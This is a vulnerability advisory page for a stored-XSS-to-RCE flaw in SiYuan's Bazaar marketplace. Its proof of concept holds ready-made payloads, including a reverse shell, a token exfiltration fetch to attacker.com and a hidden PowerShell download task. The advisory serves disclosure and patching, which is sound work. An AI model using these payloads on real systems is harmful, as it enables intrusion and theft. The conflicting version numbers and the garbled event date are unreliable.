CVE-2026-33067: SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Published Mar 18, 2026
·
Updated

Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Summary

SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.

Affected Component

- Metadata rendering: app/src/config/bazaar.ts:275-277 - Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)

Affected Versions

- SiYuan <= 3.5.9

Severity

Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Vulnerable Code

In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:

typescript // Package name injected directly — NO escaping ${item.preferredName}${item.preferredName !== item.name ? <span class="fton-surface ftsmaller">${item.name}</span> : ""}

// Package description — title attribute uses escapeAttr(), but text content does NOT <div class="b3-carddesc" title="${escapeAttr(item.preferredDesc) || ""}"> ${item.preferredDesc || ""} <!-- UNESCAPED HTML --> </div>

The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.

The Electron renderer at app/electron/main.js:422-426 is configured with:

javascript webPreferences: { nodeIntegration: true, contextIsolation: false, // ... }

This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require('childprocess'), require('fs'), and require('os').

Proof of Concept

Step 1: Create a malicious plugin manifest

Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:

json { "name": "helpful-productivity-plugin", "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('childprocess').exec('calc.exe')\">" }, "description": { "default": "Boost your productivity with smart templates" }, "version": "1.0.0", "author": "attacker", "url": "https://github.com/attacker/helpful-productivity-plugin", "minAppVersion": "2.0.0" }

Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).

Step 3: Zero-click RCE

When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The <img src=x> tag fails to load, firing the onerror handler, which calls require('childprocess').exec('calc.exe').

No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.

Escalation: Reverse shell

json { "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('childprocess').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKERIP/4444 0>&1\\\"')\">" } }

Escalation: Data exfiltration (API token theft)

json { "displayName": { "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">" } }

Escalation: Silent persistence (Windows)

json { "displayName": { "default": "<img src=x onerror=\"require('childprocess').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">" } }

Attack Scenario

1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template. 2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process. 3. The plugin.json manifest contains an XSS payload in the displayName or description field. 4. When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata. 5. The injected <img onerror> (or <svg onload>, <details ontoggle>, etc.) fires automatically. 6. JavaScript executes in the Electron renderer with full Node.js access (nodeIntegration: true). 7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.

The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.

Impact

- Full remote code execution on any SiYuan desktop user who browses the Bazaar - Zero-click — payload fires on page load, no interaction required - Supply-chain attack — targets the entire SiYuan user community via the official marketplace - Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files - Can install persistent backdoors, scheduled tasks, or ransomware - Affects all platforms: Windows, macOS, Linux

Suggested Fix

1. Escape all package metadata in template rendering (bazaar.ts)

typescript function escapeHtml(str: string): string { return str.replace(/&/g, '&amp;').replace(/</g, '&lt;') .replace(/>/g, '&gt;').replace(/"/g, '&quot;') .replace(/'/g, '&#039;'); }

// Apply to ALL user-controlled metadata before rendering ${escapeHtml(item.preferredName)} <div class="b3-carddesc">${escapeHtml(item.preferredDesc || "")}</div>

2. Server-side sanitization in the Bazaar index pipeline

Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:

go func sanitizePackageDisplayStrings(pkg Package) { if pkg == nil { return } for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } }

3. Long-term: Harden Electron configuration

javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, }

Other sources

SiYuan is a personal knowledge management system. Versions 3.6.0 and below render package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. This issue has been fixed in version 3.6.1.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/siyuan-note/siyuan/kernel<0.0.0-20260317012524-fe4523fff2c8
0.0.0-20260317012524-fe4523fff2c8
b3log SiYuan<3.6.1

Event History

Mar 18, 2026
Advisory Published
via GitHub·04:09 PM
Data Sourced
via GitHub·04:09 PM
DescriptionWeaknessAffected Software
Mar 20, 2026
CVE Published
via MITRE·08:14 AM
Data Sourced
via MITRE·08:14 AM
DescriptionWeakness
Data Sourced
via NVD·09:16 AM
DescriptionSeverityWeaknessAffected Software
Mar 31, 58197
Event
via FIRST·07:56 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33067?

CVE-2026-33067 has a high severity rating due to its potential for remote code execution.

2

How do I fix CVE-2026-33067?

To fix CVE-2026-33067, update SiYuan to version 0.0.0-20260317012524-fe4523fff2c8 or later.

3

What types of attacks are possible with CVE-2026-33067?

CVE-2026-33067 allows for stored cross-site scripting (XSS) attacks leading to remote code execution.

4

Which software versions are affected by CVE-2026-33067?

CVE-2026-33067 affects SiYuan versions prior to 0.0.0-20260317012524-fe4523fff2c8.

5

Is CVE-2026-33067 a zero-day vulnerability?

CVE-2026-33067 is not classified as a zero-day vulnerability, but it does pose significant risks to unpatched systems.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203